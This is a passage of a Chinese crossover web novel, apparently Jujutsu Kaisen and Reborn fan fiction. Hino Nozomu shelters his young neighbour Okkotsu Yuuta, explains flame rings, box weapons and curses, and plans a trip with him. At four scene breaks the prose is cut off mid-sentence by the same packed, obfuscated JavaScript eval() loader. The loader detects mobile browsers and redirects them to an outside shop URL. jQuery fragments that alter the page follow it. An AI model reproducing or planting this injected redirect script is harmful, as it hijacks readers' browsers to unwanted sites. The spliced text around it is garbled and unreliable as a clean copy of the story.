d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097950|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定。 日野望心中嘀咕,却没表现出来,接着问乙骨忧太:“后来呢,她怎么了?” “五年级的时候出了车祸,然后就……”变成这样了。 “……” 日野望叹息。 他收起手机,轻声问:“那你想怎么处理呢?” 乙骨忧太犹豫了一会儿,说:“我……阿嚏!” 突如其来的喷嚏打断了这个严肃的话题。 “算了,先回去洗个澡换身衣服,要是再肺炎住院,有你难受的。” 乙骨忧太摸摸鼻子,顿时心虚不已。 日野望脱下西装外套披在他身上,扭头对爪子快戳到他头上的里香说:“你要是乐意看忧太生病,那我们就在这耗着吧。” 里香:“……” 她委屈巴巴地消失不见了。 “小样,跟我斗?”日野望发出不屑的哼笑。 乙骨忧太新奇地看着他,脸上写满了“这也行”的惊叹。 “笨蛋。”日野望抬手在他脑门上一敲。 “啊,疼!” “行了,收拾一下,赶紧回去吧。” “哦。” 乙骨忧太把散落在地上的课本和作业捡起来塞进书包,起身便看见一只白鸽飞进巷子里,收起翅膀停在了日野望肩上。 日野望见他好奇,干脆介绍说:“它叫Picci,名字取自意大利语的piccione,也就是白鸽的意思。” “咕!”Picci朝乙骨忧太伸出右爪。 乙骨忧太福灵心至地伸出手指,任由Picci抓握着上下晃了两下,跟人握手一样。 “你、你好!我叫乙骨忧太。” “咕!” Picci飞到乙骨忧太肩上,用脑袋蹭了蹭他的脸。 日野望笑了一声:“看来它很喜欢你。” 乙骨忧太愣了一下,随即脸上也露出了笑容。 “阿嚏!” “啧,回去了。” “嗯……”乙骨忧太亦步亦趋地跟在日野望身边,低声说,“哥哥,我能去你家吗?” 日野望回头看了他一眼,没说话,把手递到他面前。 反应过来之前,乙骨忧太就已经牵了上去,紧紧地抓住了。 “只能撒娇一次。” “嗯。” 至于以后的事情,以后再说吧。 乙骨忧太心虚目移。 反正这样的话又不是第一次说了。 乙骨忧太理直气壮。 5. 第 5 章 像小时候那样,日野望牵着放学的邻家弟弟回家了。 路上,两人共打一把伞,还要牵着手,姿势难免别扭了些。乙骨忧太后知后觉意识到这点,想说什么又不好意思开口。 他小心翼翼地观察着近在咫尺的日野望,连呼吸都轻轻的,生怕一个大喘气就把眼前的泡沫吹散了。 小时候,邻家哥哥是乙骨忧太最喜欢的人。虽然只比他大四岁,却能带给他其他大人都没有的安全感。 乙骨忧太从小就能看到一些长相奇怪的东西。 大人们看不见,同学们也看不见。他告诉父母师长,只能得到怀疑的眼神和敷衍的话题转移;告诉同学们,只能得到大声的嘲弄和对“撒谎精”的指控。 日野望和所有人都不同。 他记得有一次放学,幼稚园门口就蹲着一只那样的怪物。乙骨忧太不敢出去,抱着自己的小书包蹲在屋檐下,任凭老师怎么说都迈不开脚步。 来接他的日野望支开老师,蹲下身问他:“怎么了?” 乙骨忧太有些绝望:“哥哥也看不见吗?” “什么?” “那里……” 乙骨忧太指向怪物所在的地方,下一秒发现怪物扭头看过来,他吓得缩回手,脑袋也迈进双膝间,害怕得连话都不敢说了。 算了吧。反正他也会跟其他人一样,不当回事,还会用怀疑的眼神看着自己。就算乙骨忧太确定自己没有说谎,他们也不会相信,因为他们都看不见啊。 乙骨忧太埋头胡思乱想,突然听到哥哥冷静的命令声:“忧太,闭眼。” “?” 乙骨忧太毫无预料地被人强硬地拽起来,接着一只手遮住了他的眼睛。 黑暗中,哥哥的声音再次在他耳边响起:“闭眼。” 他不明所以,但还是乖乖照做。 然后那只手就牵着他,一步一步往前走。所有的阻碍都在碰到前被引导他的人排除,速度慢了点,却足够稳当。 目不能视所带来的黑暗放大了其他感官,鞋底碾压小石子的声音、风拂过脸颊的触感、身前之人衣服上的柔顺剂芳香……以往从未留意过的一切,如今在他面前是那么地清晰。 “害怕吗?” “有点……” “因为看不见啊。” “……”乙骨忧太陷入沉默。突然就能体谅那些从来都不相信自己的人们了。 “因为看不见,所以大家其实也在害怕吗?” “大概吧。”哥哥只给了一个模糊的答案,反过来教育他,“或许他们也从来不觉得自己有问题,不要以偏概全了,忧太。” “唔……”还在上幼稚园的四岁幼儿懵懵懂懂。 “算了。在你还没学会如何保护自己之前,哥哥会保护你的。不过你也不能偷懒,要慢慢自己学起来才行。” “嗯!” 在那之前,乙骨忧太唯一需要做的就是相信他。 相信身前的这个人不会放开握紧他的手,相信对方能带他逃开可怕的怪物,相信他能带他安全地回到家。 像哥哥相信自己一样,乙骨忧太也要相信他。 从那个时候起,乙骨忧太就知道,日野望和包括父母在内的其他人都不一样。 哥哥的手掌比他大,也比他的温暖,牵着他上下学,远离可能伤害他们的怪物,一次又一次地安全回家。 时隔多年,依旧如此。 - 日野望不记得家中有没有没拆封的日用品。想想八年过去,就算没拆封也过期了,干脆在路过便利店的时候买了两人份的。 因为带着行李,乙骨忧太身上也都湿漉漉的,不方便进去,日野望就把伞和行李交给他,一个人推门进了便利店。 乙骨忧太站在屋檐下,目光透过玻璃窗,安静地注视着在货架前选购日用品的邻家哥哥。 容貌俊美的混血儿身姿挺拔,腰细腿长,贴身的衬衫和马甲勾勒出流畅而柔韧的线条,活脱脱一个走下T台的男模,特别吸睛。 乙骨忧太甚至发现,周围不止一个人反复从他身边路过,再大胆一些的,已经借着货架上的日用品和他搭上话了。 哥哥小时候就很受欢迎,长大后更受欢迎了。 乙骨忧太心中感叹,又觉得酸溜溜的。 那边的光鲜和热闹,更衬出他这边狼狈孤单得可怜。因邻家哥哥的回归而带来的喜悦,如潮水般迅速退去,只留一地泥泞和狼藉。 这次他回来,会待多久呢?还会离开吗? 乙骨忧太忍不住抓紧了披在肩上的西装外套。外套内衬残留着对方的体温,还有一些淡淡的,青草和松木的味道。这让他觉得自己其实离对方很近,并且始终都被保护在羽翼之下。 如果真的是这样就好了。 他低头看着自己的脚尖,好像被泥水弄脏的鞋面有什么吸引他的地方一样。 选购日用品并没有花日野望太多时间,婉拒了好几人交换联络方式的请求,他拎着购物袋来到乙骨忧太身边。 “走吧。” “啊、好的!” 胡思乱想被打断的乙骨忧太匆忙抬头,一眼看到了日野望递过来的手。 “东西都给我,你来打伞。” “我、我也可以帮忙拿东西的……” “不牵手了?” “……”乙骨忧太不说话了。 日野望笑了一声,不见意外,似早就将他看透了。 乙骨忧太被取笑得耳朵发烫,连忙把伞举到中间,催促着回去。 站在日野宅外边,日野望注意到隔壁门牌换上了陌生的姓氏,这才发现乙骨一家搬走了。 问起来,乙骨忧太回答得很含糊。 “小学毕业前发生了一些事,邻居们被吓坏了,爸爸妈妈就决定搬到隔壁町。我现在也在那边念国中。” “哦。” 日野望了然。虽然没有指名道姓,但多半是跟那个攻击性很强的怨灵里香有关。包括在这样的下雨天,乙骨忧太宁愿坐在巷子里发呆淋雨也不愿意回家,原因都是一样的。 如果不是日野望能强制让里香冷静下来,估计乙骨忧太也不会放心跟他回家。 日野望检查了水电,确认没有问题,把乙骨忧太和洗漱用品打包塞进了浴室。又从行李箱里翻出一套没穿过的衣服,挂在浴室门把手上,让他先凑合着穿。 他将家具上的防尘布取下,简单打扫了下卫生。因为时间太晚,也没打扫得太细致,基本就收拾了客厅和卧室。 想了想,又将客房整理出来。乙骨忧太到底长大了,不能像小时候那样跟他挤一张床了。这家伙看起来又不想回家的样子,难道他还能将人赶出门不成? 日野望看了一眼时间,晚上七点半。他打开电视机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097951|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳到新闻频道,一边喝咖啡一边检查手机邮件,偶尔听到感兴趣的内容就抬头看两眼。 在家里,日野望明显自在多了。衬衫领口松开一个扣子,长袖挽到小臂上方,手套戒指也都摘了放在一边,翘着大长腿,一只手托着脑袋,一只手飞快地按动手机键盘。 洗完澡的乙骨忧太擦着头发出来,挨着他在沙发上坐下。 日野望懒洋洋地斜睨过来一眼,说:“吹风机在柜子里,自己去拿。” “哦。” 等乙骨忧太吹好头发再次坐在他身边,日野望终于处理好邮件,又想起一件事:“对了,你家里的电话是多少?” “……”乙骨忧太先是睁大了眼睛,继而嘴角下撇,小心翼翼地看着他:“怎么了吗?” 一瞬间,日野望像是幻视了受到惊吓后又可怜巴巴靠过来撒娇的小狗,生怕主人将他赶出家门。 都说了不能撒娇。 日野望面无表情地捏他脸。 乙骨忧太乖乖任捏。洗完澡后,那双墨绿色的眼睛也像被冲刷过,湿漉漉地看过来,给人一种怎么欺负都不会反抗的错觉。 “啧。” 日野望不爽地弹了他一个脑崩,把手机扔给他:“总得给你家里报个平安吧。你不想说的话,电话拨过去我来接好了。” “哦……” 听说不是让他回家,乙骨忧太悄悄松了口气。 他拨了家里的电话,等了没两秒就接通了。接电话的是他妹妹,这让他心中的压力小了些。 “尤奈,是我。” 他跟妹妹简单说明了情况,想着能在父母接电话前结束通话就好了。然而事与愿违,本就担心他的母亲接过了电话。 一开始就只是单纯的关心,可随着他这边越来越沉默,母亲放松之下没忍住吐露出更多的指责。乙骨忧太含糊地应付着,两眼无神地盯着放在膝盖上的手,心思明显不在通话上。 “给我。” 日野望干脆从他手中拿走手机。 “喂,伯母吗?好久不见,我是日野望。” “嗯嗯,是的。完成了一个大项目,我表现不错提前毕业,和我们老板请了长假,就回国来了。” “对,忧太在我家里。路上遇到了,也是巧。啊,真是不好意思。回来的时候天上在下雨,搞得一身狼狈,家里也乱糟糟的,忙着收拾,就忘了给您报备一声了。” “哈哈,没事。这小子小时候不是挺好带的么,青春期的男孩子哪有不叛逆的?交给我吧,小事一桩,就让他在我家待几天。” 日野望装作没听出乙骨夫人话语中偶尔流露出的异样,三言两语就把乙骨忧太留宿的事情敲定了。 “啊,明天大概不行,我还有点事情要做。日曜日我再来拜访吧,和忧太一起。放心吧,我会把这小子安安全全送回来的。” “好的。忧太!” 日野望把手机扔给乙骨忧太,拿起电视遥控器换台。 乙骨忧太手忙脚乱地接住手机,听着妈妈担心和絮叨的叮嘱,嘴角却一反常态地上扬,眼睛亮晶晶地看着日野望,心情明显比之前好了很多。 挂断电话,日野望又问他:“饿不饿,出去吃还是叫外送?” “都可以。” “那就出去吃吧,顺便散散步。反正明天是周末,你也不用急着写作业吧?” “嗯!” 6. 第 6 章 乙骨忧太久违地梦到了小时候。 烈日炎炎,他蹲在公园的大象滑梯下,眼巴巴地看着路过大门口的人群。 周末,日野望要上兴趣班,这个公园是他回家的必经之路。乙骨忧太在家里待不住就跑来这儿等他。 也不知等了多久,找人找得眼睛都累了。 他揉了揉眼睛,就这么一晃神,忽然听到熟悉的声音在叫他,距离极近。 “忧太。” 乙骨忧太猛地抬头,看到背着琴盒的日野望正冲他招手。 他快乐地跑过去牵住他的手。 “大热天的,怎么跑这里来了?” “平时都是哥哥接我回家,这次换我来接哥哥回家。” “等多久了?” “不知道……” 日野望叹了口气。 “该夸你还不算笨么,知道在滑梯下躲太阳。” “哼哼。” “要是我没注意到你,错过了怎么办?” “才不会呢,我对哥哥有信心。” “那还真是谢谢你哦。” “嘿嘿,不客气。” “……没有夸你的意思。” “?” “算了……” 一大一小手牵着手回家。 在十字路口等绿灯的时候,乙骨忧太突然觉得周围的场景变得非常眼熟。 他的视线陡然增高,从四岁的幼稚园小豆丁变成了五年级的小学生。他心中一慌,扭头去找身侧的人。 站在他旁边的日野望穿着国中生的制服,一手牵着他一手玩手机,若有所觉地看过来,疑惑道:“怎么了?突然一副被吓到的样子。” 乙骨忧太咽了下口水,磕磕巴巴地说:“没、没有。” “是吗。” 日野望没太在意,看了眼红灯倒计时,把手机揣回了兜里。 绿灯亮起来的时候,乙骨忧太听到马路对面有人在叫他。 “忧太!” 乙骨忧太循声望去,笑得很好看的女孩子一边朝他挥手,一边赶来与他们汇合。 看到能跑能跳的祈本里香,乙骨忧太脸上的表情几经变幻,高兴,疑惑,最后定格在了惊恐上。 “不……” 大货车飞驰而过,剧烈的碰撞声、刺耳的刹车声、人群喧闹而冷漠的议论声几乎将他淹没。 乙骨忧太直愣愣地看着倒在马路上的娇小身躯,鲜血从她身下扩散开,怎么都流不尽,染红了他整个眼球。 他像个溺水的人,好不容易浮上水面喘一口气,下意识地往身边求救。 然而,他一回头就发现日野望缩水成了十岁时的模样,身上穿着出国那天的衣服,松开他的手,目不斜视地朝前走,越走越快,越走越远。 “哥哥!” 乙骨忧太试图追上他,脚却像钉在地里一样,根本迈不开步子。 他低头一看,从血泊里爬出来的怨灵里香牢牢抓住他的脚踝,发出欢喜又尖锐的声音:“忧太……约定好了……要一直在一起!” “!!!” 乙骨忧太睁开眼睛,猛地从床上坐起身。 浓郁的黑暗笼罩着他,似要将他拖入永劫沉沦的深渊。 凌晨三点,日野宅里睡不着的人,除了从噩梦中惊醒的乙骨忧太外,还有个倒时差失败的日野望。 乙骨忧太出来倒水喝,路过书房时,意外地发现里面亮着灯。 这栋房子里除了他就只有日野望了,此时待在里面的人不用猜都知道是谁。 他站在门口,犹豫要不要敲门。 可用什么理由呢? 做了噩梦睡不着,发现哥哥也没睡,所以就想见见他,最好是能跟他待一会儿。 但这会不会太粘人了点?他又不是小孩子了…… 没等他下定决心,从客厅方向传来呼啦啦的,像是禽鸟翅膀拍打空气的声音。 乙骨忧太吓了一跳。 然后就见一道蓝色流光绕着他飞了一圈又一圈,等他反应过来伸出手,蓝光才慢悠悠地降落在了他的小臂上。 “Picci?” “咕!” 乙骨忧太神情一松。 书房的门突然在他面前打开,暖黄的灯光瞬间驱走了四周的黑暗。 日野望看着大眼瞪小眼的一人一鸽,无奈道:“进来吧。” “哦哦。” “咕咕!” 办公桌上放着四个大小相同、外观却没有统一风格的匣子。其中两个是开启的状态,一个是纯蓝色的,没有多余的花纹;另一个表面刻着精致的纹章,底下还有一串字母「VONGOLA」,旁边散落着好些金属和宝石碎片,一部分已经拼出了太阳和云朵的图案。 日野望招呼乙骨忧太坐下,又给他倒了杯温水。 “睡不着?” “嗯……” “那要来聊天吗?” 日野望仔仔细细地将一桌的零碎收拢起来,变魔术一样全部装进了那个刻着「VONGOLA」的匣子里。 “嗯、嗯?啊,好的,聊什么呢?” 看出他的心不在焉,日野望拿着匣子在他面前晃两下。 “怎么,感兴趣?” “有点好奇。” 乙骨忧太没否认。 “这个是匣子,本质上是前沿科技和不可思议力量结合下的产物。大致分为两种,保存用的储物匣和仿生物的武器匣。” 说着他拿起蓝色的匣子,站在乙骨忧太肩上的Picci顿时化作一道流光钻了进去。匣子自动合拢,只留一个圆形的洞口。 接受能力极强的乙骨忧太发出新奇的声音:“所以Picci不是真的鸽子,而是一种新型武器吗?” “嗯。” 日野望将蓝匣子递给乙骨忧太。 乙骨忧太举起来仔细观察,见日野望不反对,还亲自上手抠了抠洞口边缘,发现无论如何都打不开这个匣子。 他突然回忆起之前在巷子里,日野望用戒指点燃火焰打开匣子的场景。 “所以钥匙是火焰?” “是啊,火焰。既是钥匙,也是动力源。”说着,日野望将戴着戒指的手举起来,当着乙骨忧太的面点燃了蓝色的火焰。 说是火焰,给人的感觉却像水流。是湿润的、沉静的,只是单纯地看着,心情就奇妙地平静下来,连头脑都清醒了许多。 “好神奇。” “要试试吗?” “欸?我也可以吗?” “火焰是从人体内引导出的一种生命能量,理论上来说,人人都能点燃。” 日野望正要摘下戒指给他。 乙骨忧太弱弱举手,说自己也有一枚戒指。 “嗯?” 乙骨忧太从衣领下勾起一根项链,上面果然串着一枚朴素老旧的戒指。 “这个是里香给我的……”他挠挠脸,有些不好意思地说。 日野望仔细检查一遍,确认不是黑手党意外流出的戒指,就没放在心上了,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097952|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟乙骨忧太多说了一句:“这就是普通的戒指,和用来点燃火焰的戒指不一样。” “哦。”乙骨忧太似懂非懂地点头,接过日野望抛来的戒指小心戴上,“接下来要怎么做呢?” “把觉悟转换成火焰。” 乙骨忧太:“……” 乙骨忧太:“???” 这么抽象的吗?! 回头看日野望,此人脸上一派无辜,好似在说“就是这么回事啊”。 乙骨忧太:“……”QAQ什么嘛。 “我也见过有人用怒火点燃的。” 怒火? 乙骨忧太尝试转换方向。 尝试失败。 研究半天,根本没找着诀窍,他失落地将戒指还了回去。 “别灰心嘛。”日野望摸摸他的头安慰道,“我这个是雨属性的戒指,只能用雨属性的火焰点燃。每个人体内的火焰都不一定相同,或许你拥有的火焰是其他属性呢?” 说着,他同样从衣领下拽出一根串着戒指的项链,摘下来递给乙骨忧太:“这是大空的戒指,试试?” 这枚被日野望贴身携带的大空戒指,比他手上那枚雨属性戒指还要精致。戒托是一朵栩栩如生的花朵(乙骨忧太对花没什么研究,但不妨碍他觉得好看),原本的花蕊部位镶嵌着一枚橙色的宝石,美丽得像艺术品。 他小心翼翼地接过来戴在手上。 不出预料还是失败。 “火焰有很多种属性吗?” “目前已知的火焰属性有七种。属性不同,外在的表现形式也各不相同。分别是橙色之大空、蓝色之雨、红色之岚、黄色之晴、绿色之雷、紫色之云、靛色之雾。与之相对应的火焰特性分别是调和、镇静、分解、活性、硬化、增殖、构筑。” “这些你稍微了解一下。虽然概率不大,但要是真的遇上了,看准时机尽可能地跑远点。” “超自然力量是会互相吸引的。就比如你小时候害怕的那些怪物,你看着它,他也能看到你。视线一旦交汇,你们就产生了交集。更进一步的话,你们的命运也会连接在一起。” 日野望托腮看着他,那双海一样的蓝眼睛里,倒映着乙骨忧太小小的身影。 “不要死在我看不见的地方啊,忧太。” 乙骨忧太愣了下,继而郑重地点了点头。 书房里的气氛突然变得沉重肃穆。 “好了,那些小概率的、还没发生的事情统统抛到一边。我们继续之前在巷子里的谈话吧?”日野望拍拍他的肩膀,迅速转移话题,“关于里香,你有什么想法吗?” 乙骨忧太看着垂在胸口的戒指,组织好语言,缓缓道出埋藏许久的困惑:“实话说,我也不知道里香为什么会变成那个样子。是执念吗?是不甘吗?还是说人死后都能变成这样……那我从小看到的那些怪物,是不是其他人死后转化的?如果不是的话,它们又是怎么出现的呢?” “啊。”日野望一拍脑门,突然想起来他应该还不了解这些东西。 “是诅咒。” “诅咒?”乙骨忧太表情空白。 “是对这类事物的统称。人的体内还有一套有别于火焰的能量系统,日本业内将其称为咒力,源于人类的负面感情。” “人体中溢出的负面能量逐渐积累,成形后的诅咒就被称做咒灵。也就是你从小就能看见,其他人却看不见的那些怪物。” 日野望点了点乙骨忧太的背后。 “包括现在这个‘里香’。” 7. 第 7 章 “处理诅咒的专业人士被称作咒术师,由总监部监督管理,下设东京、京都两所咒术教育学校,用以发掘、培育具有术师天赋的人才。 “拥有术师天赋的人很少,像忧太这样从小就能‘看见’的人才,就是他们所需要的。忧太现在国三了吧?如果去这两所咒术教育机构念书,应该会在那里遇到很多同类哦。能够‘看见’的,不会把你当做异类的同类。 “在那里,你或许能找到更多妥善对待‘里香’的知识和办法。” 乙骨忧太有些心动。新世界的大门在他面前打开,只要他动动脚就能踏进去。 然而,日野望话音一转,冷淡地提醒:“但你也要明白,机遇和危机并存。那个世界没那么简单,否则为什么这些年下来都不曾向外界暴露呢?” 他的话像一盆冷水,快速冷却了乙骨忧太对新世界生出的向往之心。 “探索世界的真实,同样也意味着你会不断接触到社会的阴暗面。它们就被掩藏在阴影下,有着这个世界上最为肮脏、丑陋的东西,是社会无法根治的附骨之疽。你真的准备好了吗?” 日野望的眼睛不带任何感情地看着他,视线中充满了审视的探究。此刻的他不像一个关切邻家弟弟的大哥哥,而是一个冷漠又严谨的科学观测者,要将他面前的人仔仔细细地剖析干净。 在他这样的目光中,乙骨忧太选择了退缩和沉默。他别开脸,连视线都不敢与之交汇。 怎么可以这样呢? 他心说。 哥哥怎么可以用这样的目光看着他呢? 乙骨忧太没有为日野望描述的残酷世界感到动容,反而因对方对待自己的态度而心酸委屈。 他的脑子乱成一团麻,纠纠缠缠的中心,一道喑哑的声音竭力发出嘶吼。 ——能不能不要用那么冷漠的眼神看着我? ——能不能不要用无关紧要的态度对待我? ——能不能不要…… ——能不能…… ——能不能不要丢下我? “嗯?你说什么?” 日野望没听清他在嘀咕什么。 乙骨忧太偏着头,略长的黑发掩盖了他的表情,大半张脸都被淹没在阴影中。 “我说……” 乙骨忧太抬起头,看日野望一眼,飞快低下头,又小心翼翼地看他一眼。 日野望:“?” 这孩子怎么回事?胆气是不是越来越小了?在他面前表达个想法都扭扭捏捏的,明明小时候不是这样。 得把孩子养大胆点。不然就他这样的,要是哪天真的落到咒术师的地界,怕是会被那群人吃得骨头渣都不剩。 日野望面无表情地想。 乙骨忧太当然不知道他在想什么,犹豫半晌,还是鼓起勇气问:“哥哥呢?” “我?” “嗯。如果,如果我说,我想去哥哥所在的那个世界呢?” 比起结识还在未来的同伴,他更想把握住现在就在他身边的人。如果他能进入到日野望现在的那个世界中,努力地追赶上去,那他是不是就不会被哥哥抛开了? 没有人陪伴的日子太寂寞了。 因为能“看见”,乙骨忧太从小就知道自己的特别。他没有沾沾自喜,反而为自己的格格不入感到恐慌。 六岁之前,日野望陪着他;日野望出国后,祈本里香陪着他;十岁之后,攻击性极强的“里香”与他纠缠在一起,他便成了连家人都没办法安心靠近的孤独者。 十四岁的现在,日野望带着满身的秘密回来了。 八年的时间隔阂就像没存在过,他伸向乙骨忧太的手还是那么温暖、那么可靠、那么有安全感。 这些年来给乙骨忧太带来无数烦恼的“里香”被他安抚住,家庭问题带来的苦闷也被他扫除,躲藏在他提供的避难所里,乙骨忧太终于能够喘上一口气。 眼看他离自己这样近,仿佛伸手就能触碰到,乙骨忧太怎么甘心放过这个千载难逢的机会呢? 乙骨忧太眼巴巴地看着他,眼底蕴藏着自己都没发现的热切和渴盼,让日野望忍不住犹豫了。 他可以将咒术界的存在提前透露给乙骨忧太,因为后者拥有术师天赋,身边还跟着里香那样招摇的存在。就算没有他引导,乙骨忧太未来也很有可能被咒术界发掘。 如今他做的不过是给邻家弟弟打预防针,免得他一无所知地闯进那个世界中,被人坑了卖了都不知道怎么回事。 日野望虽然自认有点手段,但咒术界向来是某些阶层的自留地,容外人插手的余地不多,一旦乙骨忧太陷得太深,他想捞人都不容易。 如果乙骨忧太说,他对什么新世界没兴趣。日野望就能让他与咒术界做个彻底的切割,以后就大大方方地站在阳光底下,安安稳稳地度过自己的一生。 如果乙骨忧太说,他想要进入新世界,自己寻找解决里香诅咒的办法。日野望就能给他提前安排,给身体打打基础,请来靠谱的咒术师进行咒术知识扫盲,再讲讲咒术界那些糟心事糟心人,总之让他做足准备再踏入那个光怪陆离的世界,免得两眼一抹黑啥都不知道,多少也能免去些孤身打拼的艰辛。 当然,乙骨忧太也不必急着选择。日野望的假期还长,他有足够的时间等待乙骨忧太做出自己的选择。 本来日野望是想,无论乙骨忧太想怎么做,他都能给他兜兜底,多少是他这个邻家哥哥尽的一份心了。 然而他没想到,乙骨忧太说,想进入他所在的那个世界。 这就把日野望难住了。 如果说乙骨忧太选择咒术界,日野望还会担心他浪大了没法捞人的话。那么他要是选择了黑手党,哪怕是浪翻了天,日野望都有信心给他收拾烂摊子。 但这并不意味着,日野望乐得见他选择后者。 如果可以,日野望希望他哪一个都不选,就一辈子待在阳光下,最苦恼的无非就是些鸡毛蒜皮的小事。 可他知道,如果一个人有天赋,他就掌握了打开新世界大门的钥匙,拥有追求力量、接触神秘、探索真实世界的权力。一味的隐瞒和阻拦才是不可取的。 日野望斟酌着说:“我希望你能更慎重地考虑这个问题。” 乙骨忧太急忙表示:“我已经考虑清楚了。” “可是,忧太,”日野望轻声说,“你不是连我现在在做什么都不知道吗?” 乙骨忧太噎住。 那双蓝眼睛温和而包容地看着他,让他觉得自己在对方眼里就像个闹着要新玩具的小孩子。 他低头避开日野望的视线,声音艰涩地说:“无论你在做什么,我只是想来到你身边,这样也不行吗?” “……” “我不想再孤单一个人了。” “……” 沉默蔓延。 乙骨忧太抿紧唇,双手被他握得泛白。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097953|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的书房被分割成里外两个世界,无声的抗拒为他穿上了一身尖刺,排斥着外面的一切,禁锢着里面的自己。他在自己的世界中哀嚎哭泣,翻涌的负面情绪淹没了他的内心。 感受到他心绪紊乱的里香发出尖利的声音,叫嚣着要让欺负忧太的人付出代价。 暖光灯下,乙骨忧太的影子浓稠如墨,像有生命般翻涌扭曲,与身后庞大的咒灵纠缠在一起,再明亮的光都无法将之驱散。 比起里香,他更像个被黑暗吞噬的怪物。 日野望皱眉。 他不怕里香的威胁,却担心乙骨忧太本身出问题。 在如今这个年纪,乙骨忧太能接触到的权威是父母与师长,平时打交道的是邻里与同学,能够了解外界的电视、网络、书本等,内容基本上是经过筛选的。因为里香对周围人有极强的攻击性,他也很少出门远游,这些年来几乎就在仙台这个小小的地界打转。 他被里香限制住了,也被自己禁锢了。他的世界很小,人很孤独,以至于不想放过能够把握的一切。一旦出了意外,他就会沉浸在对自己的厌恶和对周围的排斥中,然后世界越来越小,人也越来越孤独,陷入无限恶循环,无法自拔。 就像现在这样。 得让他打开视野,不再局限于一方地界才行。 日野望无视里香的叫嚷,打开匣子,让Picci陪她玩。自己则来到乙骨忧太身旁,蹲下,握住少年掐得青白的手,仰头看着他。 “我是想,你能慎重对待可能影响一生的抉择。” “不过我可能急了些。”他自我反省,“我这次的假期比较长,会在日本停留一阵子。我想给你看一些东西,你不用急,慢慢看,慢慢想。那之后,你可以告诉我你的想法,也可以不必给出具体的答案,怎么样都好,反正我们还有时间。” 乙骨忧太的目光再次聚焦在他脸上。 日野望冲他笑了笑,话题突然跳转到未曾设想的方向:“你们还有多久放暑假?” 乙骨忧太像被这个问题一棒子打愣,反应都慢了半拍。 “还、还有半个月吧……大概。” “那我们去旅游吧?”日野望兴致勃勃地说。 “欸?等、等一下,为什么突然说起去旅游的事了?” “也不是突然,本来我回国就是度假的,计划去旅游也不奇怪吧?”日野望理直气壮地说,“无非现在加上一个你而已。” 乙骨忧太茫然。 和哥哥一起旅行什么的听起来是很棒没错啦,可他们刚才明明不是在说这个吧? 日野望仿佛能读心一样对他说:“我想给你看的就是这个啊。” “旅行的风景?” “那只是其中的一小部分。更准确地说,应该是仙台之外的世界。” 他笑起来,仰头注视着乙骨忧太。 “我们一起去看看外面的世界吧,忧太。好的坏的都没关系,只要能留下一份特别的,在往后的日子里回想起来都不会褪色的经历,那不就很棒了吗?” “我希望你未来回忆现在的十几岁,背景不再只有小小的仙台。” “这个世界很大啊。” 暖光灯下,那双眼睛被照得熠熠生辉,像月光洒在浮动的海面,波光粼粼的,漂亮得不可思议。 乙骨忧太骤然屏住呼吸。 他轻轻地,像担心惊扰了什么一样,反握住日野望的手,低声说:“好。” 8. 第 8 章 “既然决定暑假一起去旅行,那么里香的问题就要提上日程了。” 日野望看向被“冻”在雨属性火焰中的里香,扶额道:“总不能这样带着她出门吧?太招摇了,会被咒术师们当成挑衅的。” 乙骨忧太:“呃……那怎么办?”他也没办法控制住里香啊。 “总之,我先找个咒术师来看看情况吧。别的不说,至少要先确定你有没有受到伤害。” 乙骨忧太忙道:“我想应该是没有的。里香针对的都是我周围的人,我自己反而没受到什么伤害……” 甚至可以说,能伤害他的东西在靠近他之前,就已经先一步被里香暴力解决了。 “不能急着下定论。因为诅咒的特性,咒灵只是存在就可能对人造成影响。举个最简单的例子,一只低级咒灵趴在你的肩上,多余的什么都不用做,只是呆在那里,你就会觉得肩膀沉重、身体疲惫,陷入负面情绪的次数和时间也会变多变长,久而久之影响你的身体健康。” “这样啊……” “当然,这只是我举的例子,你和里香的情况或许又不一样。不过保险起见,我还是建议先请个咒术师来看看情况。” 想了想,日野望又补充道:“放心,我会让那个咒术师保守秘密的。” 乙骨忧太点点头:“那就拜托哥哥了。” 等到安抚好里香,结束谈话,外面的天都蒙蒙亮了。 困意来袭,日野望把匣子收好,回房睡觉。 